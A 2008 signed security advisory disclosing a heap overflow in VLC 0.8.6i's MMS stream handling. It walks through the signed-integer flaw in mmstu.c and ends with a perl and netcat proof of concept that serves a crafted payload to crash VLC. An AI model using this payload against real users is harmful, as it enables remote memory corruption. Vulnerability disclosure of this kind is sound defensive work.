-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - Orange Bat advisory - Name : VLC 0.8.6i MMS Protocol Handling Class : Heap Overflow Published : 2008-08-24 Credit : g_ (g_ # orange-bat # com) - - Details - This can be exploited from remote. User have to open mmst:// link poiting to server controlled by the attacker. vlc\modules\access\mms\mmstu.c : static int mms_ReceiveCommand( access_t *p_access ) { access_sys_t *p_sys = p_access->p_sys; for( ;; ) { int i_used; int i_status; if( NetFillBuffer( p_access ) < 0 ) { msg_Warn( p_access, "cannot fill buffer" ); return VLC_EGENERIC; } if( p_sys->i_buffer_tcp > 0 ) { [1] i_status = mms_ParseCommand( p_access, p_sys->buffer_tcp, p_sys->i_buffer_tcp, &i_used ); [2] if( i_used < MMS_BUFFER_SIZE ) { [3] memmove( p_sys->buffer_tcp, p_sys->buffer_tcp + i_used, MMS_BUFFER_SIZE - i_used ); //BUG! i_used overflow (...) [1] - function that sets i_used to negative value, see below [2] - i_used is signed, so predicate is true [3] - actual overflow, we have good control over what is written static int mms_ParseCommand( access_t *p_access, uint8_t *p_data, int i_data, int *pi_used ) (...) i_length = GetDWLE( p_data + 8 ) + 16; (...) if( i_length > p_sys->i_cmd ) { msg_Warn( p_access, "truncated command (missing %d bytes)", i_length - i_data ); p_sys->i_command = 0; return -1; } [1] else if( i_length < p_sys->i_cmd ) { p_sys->i_cmd = i_length; [2] *pi_used = i_length; } (...) [1] - predicate is true [2] - sets i_used from mms_ReceiveCommand - - Proof of concept - on localhost: perl -e 'print "aaaa\xce\xfa\x0b\xb0\xef\xff\xef\xff"; print "a"x100' > headshot nc -l -v -p 1755 < headshot open this url in VLC: mmst://127.0.0.1/ boom! headshot :) - - PGP - All advisories from Orange Bat are signed. You can find our public key here: http://www.orange-bat.com/g_.asc - - Disclaimer - This document and all the information it contains is provided "as is", without any warranty. Orange Bat is not responsible for the misuse of the information provided in this advisory. The advisory is provided for educational purposes only. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact. (c) 2008 www.orange-bat.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) - GPGshell v3.70 iEYEARECAAYFAkiwgBkACgkQIUHRVUfOLgUKOgCdFOAznbm44YJWiEqaQJK7XaF2 AuIAnRjabi6RiPT6G/66kxseVG+K0rkj =/CN5 -----END PGP SIGNATURE-----